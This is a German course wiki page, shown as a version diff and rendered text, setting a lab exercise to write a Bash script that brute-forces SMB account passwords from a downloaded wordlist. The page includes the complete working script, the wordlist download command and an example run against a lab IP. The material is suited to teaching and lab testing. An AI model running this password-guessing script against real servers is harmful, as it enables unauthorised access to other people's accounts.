Aufgaben Linux - Shell Programmierung (Bash): Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 1: | Zeile 1: | ||
| − | =Samba Password Brute Force | + | =Samba Password Brute-Force Aufgabe= |
| − | *Zweck: Aus einer Wortliste per Wortlistenangriff die Passwörter vorgegebener SMB-Accounts im Labor finden | + | * Zweck: Aus einer Wortliste per Wortlistenangriff die Passwörter vorgegebener SMB-Accounts im Labor finden. |
| − | + | * Voraussetzungen: | |
| − | *Voraussetzungen: | + | ** Auf dem Arbeitsrechner sind wget und smbclient installiert. |
| − | ** | + | ** Wortliste herunterladen: |
| − | ** | + | wget https://xinux.de/downloads/bad-passwords |
| − | + | * Die Ziel-IP gibt der Dozent vor. | |
| − | * | + | * Aufgabe: |
| − | *Aufgabe: | + | ** Erstelle die Datei smb-passwd.sh, mache sie ausführbar und teste die drei Benutzer: Christine, Martina, Klaus |
| − | ** | + | ** Das Script soll: |
| − | *** | + | *** drei Positionsparameter akzeptieren: <samba-host> <user> <pwlist-file> |
| − | *** | + | *** die Passwortdatei zeilenweise lesen |
| − | *** | + | *** für jede Zeile folgendes ausführen: smbclient -U user%pass -L host > /dev/null 2>&1 |
| − | * | + | *** bei erfolgreichem Login exakt ausgeben: Das Password von <user> lautet <pass> und sofort terminieren |
| − | + | * Erwartete Ausgabe (Format muss exakt so sein): | |
| − | + | Das Password von <user> lautet <pass> | |
| − | + | * Skript (in eine Datei smb-passwd.sh kopieren): | |
| − | * | + | #!/bin/bash |
| − | + | HOST="$1" | |
| − | + | USER="$2" | |
| − | + | PWLIST="$3" | |
| − | + | if [ -z "$HOST" ] || [ -z "$USER" ] || [ -z "$PWLIST" ]; then | |
| − | *Abgabe: | + | echo "Usage: $0 <samba-host> <user> <pwlist-file>" |
| − | ** | + | exit 2 |
| − | **Nachweis | + | fi |
| − | **Terminal-Transkript mit den drei | + | if [ ! -r "$PWLIST" ]; then |
| − | + | echo "Password list not found or not readable: $PWLIST" | |
| + | exit 3 | ||
| + | fi | ||
| + | while IFS= read -r PASS; do | ||
| + | if smbclient -U "$USER%$PASS" -L "$HOST" > /dev/null 2>&1; then | ||
| + | echo "Das Password von $USER lautet $PASS" | ||
| + | exit 0 | ||
| + | fi | ||
| + | done < "$PWLIST" | ||
| + | exit 1 | ||
| + | * Beispielablauf: | ||
| + | chmod +x smb-passwd.sh | ||
| + | wget https://xinux.de/downloads/bad-passwords | ||
| + | ./smb-passwd.sh 10.0.10.123 martina bad-passwords | ||
| + | * Abgabe: | ||
| + | ** smb-passwd.sh | ||
| + | ** Nachweis, dass bad-passwords heruntergeladen wurde | ||
| + | ** Terminal-Transkript mit den drei gefundenen Zeilen | ||
Version vom 6. November 2025, 18:28 Uhr
Samba Password Brute-Force Aufgabe
- Zweck: Aus einer Wortliste per Wortlistenangriff die Passwörter vorgegebener SMB-Accounts im Labor finden.
- Voraussetzungen:
- Auf dem Arbeitsrechner sind wget und smbclient installiert.
- Wortliste herunterladen:
wget https://xinux.de/downloads/bad-passwords
- Die Ziel-IP gibt der Dozent vor.
- Aufgabe:
- Erstelle die Datei smb-passwd.sh, mache sie ausführbar und teste die drei Benutzer: Christine, Martina, Klaus
- Das Script soll:
- drei Positionsparameter akzeptieren: <samba-host> <user> <pwlist-file>
- die Passwortdatei zeilenweise lesen
- für jede Zeile folgendes ausführen: smbclient -U user%pass -L host > /dev/null 2>&1
- bei erfolgreichem Login exakt ausgeben: Das Password von <user> lautet <pass> und sofort terminieren
- Erwartete Ausgabe (Format muss exakt so sein):
Das Password von <user> lautet <pass>
- Skript (in eine Datei smb-passwd.sh kopieren):
- !/bin/bash
HOST="$1" USER="$2" PWLIST="$3" if [ -z "$HOST" ] || [ -z "$USER" ] || [ -z "$PWLIST" ]; then
echo "Usage: $0 <samba-host> <user> <pwlist-file>" exit 2
fi if [ ! -r "$PWLIST" ]; then
echo "Password list not found or not readable: $PWLIST" exit 3
fi while IFS= read -r PASS; do
if smbclient -U "$USER%$PASS" -L "$HOST" > /dev/null 2>&1; then echo "Das Password von $USER lautet $PASS" exit 0 fi
done < "$PWLIST" exit 1
- Beispielablauf:
chmod +x smb-passwd.sh wget https://xinux.de/downloads/bad-passwords ./smb-passwd.sh 10.0.10.123 martina bad-passwords
- Abgabe:
- smb-passwd.sh
- Nachweis, dass bad-passwords heruntergeladen wurde
- Terminal-Transkript mit den drei gefundenen Zeilen